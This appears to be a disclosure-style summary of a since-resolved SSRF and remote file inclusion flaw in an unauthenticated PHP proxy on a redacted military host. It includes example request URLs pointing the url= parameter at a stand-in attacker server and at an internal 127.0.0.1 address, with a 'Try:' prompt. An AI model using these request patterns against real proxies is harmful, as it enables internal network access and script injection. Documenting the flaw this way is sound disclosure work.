// Normal WMS service request — fetches layer metadatahttps://████.mil/████/proxys/plain.php?url=http://wms.geoint.mil/boundary/ows&operation=GetParameterInfo¶meter=countryBoundaryLayer&outputFormat=JSON// No IP/domain whitelist — fetches ANY url including attacker-controlled hostshttps://████.mil/████/proxys/plain.php?url=http://attacker_server/t.html&operation=GetParameterInfo¶meter=countryBoundaryLayer&outputFormat=JSON
operation
parameter
outputFormat
The url parameter is fetched server-side with no whitelist. Try: http://127.0.0.1/1002.php?internal=secret for SSRF, or any attacker-controlled domain for RFI.
Service Info
Host████.mil
ServerApache/2.4 PHP 5.6
Script/proxys/plain.php
AuthNone (unauthenticated)
WhitelistNot configured
ReportedDec 21, 2016
ResolvedMar 20, 2018
Attack Vectors
Remote File Inclusion
Fetch attacker-controlled HTML/PHP via url=
XSS via Rendered Content
Remote HTML with <script> fires on DoD domain
SSRF — Internal Access
Proxy reaches internal resources invisible from outside